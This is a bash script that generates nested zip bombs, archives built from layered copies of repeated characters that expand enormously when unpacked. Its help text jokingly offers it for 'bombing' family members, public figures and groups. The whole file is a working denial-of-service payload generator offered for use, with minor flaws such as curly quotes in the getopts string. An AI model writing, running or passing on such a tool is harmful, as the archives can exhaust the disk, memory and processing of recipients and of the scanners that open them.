#! /bin/bash

help()
{
cat << EOF
help: $0 options

use this classy tool to (zip)bomb the crap out of your mom, dad, ex, annoying sister, George Bush, Donald Trump, Bon Jovi, or ISIS

OPTIONS:
   -c		Compression algo (zip)
   -d      	Depth (1)
   -f		Number of files per layer (16)
   -n		Number of sequences per file (512)
   -s		Character sequence to store ("0")
   -z		Name of zipbomb
   
Note: if any metadata option is not specified, 
each option will be prompted every url
EOF
}

name="zipbomb"
comp_algo="zip"
depth=1
files=16
n_seq=512
seq="0"

while getopts “hc:d:f:n:s:z:” OPTION
do
	case $OPTION in
		h)
			help
			exit 1
			;;
		c)
			comp_algo=$OPTARG
			;;
		d)
			depth=$OPTARG
			;;
		f)
			files=$OPTARG
			;;
		n)
			n_seq=$OPTARG
			;;
		s)
			seq=$OPTARG
			;;
		z)
			name=$OPTARG
			;;
		*)
			break
			;;
	esac
done

zipbomb_dir=/tmp/zipbomb

mkdir "$zipbomb_dir"
cd "$zipbomb_dir"

zip_layer() {
	level="$1"
	
	#bottom level
	if [[ "$level" == 1 ]]; then
		perl -E "print '$seq' x $n_seq" > "$zipbomb_dir"/0
		
		for i in $(seq 1 $(($files)))
		do
			cp "$zipbomb_dir"/0 "$zipbomb_dir"/"$i"
		done

		zip -qr "$name" ./*

		for i in $(seq 0 $(($files)))
		do
			rm "$i"
		done
		
	#above bottom level
	else
		
		zip_layer $(($level-1))

		mv "$name".zip "0.zip"
		
		for i in $(seq 1 $(($files)))
		do
			cp "0.zip" "$i".zip
		done

		zip -qr "$name" ./*

		for i in $(seq 0 $(($files)))
		do
			rm "$i".zip
		done
	fi
}

zip_layer "$depth"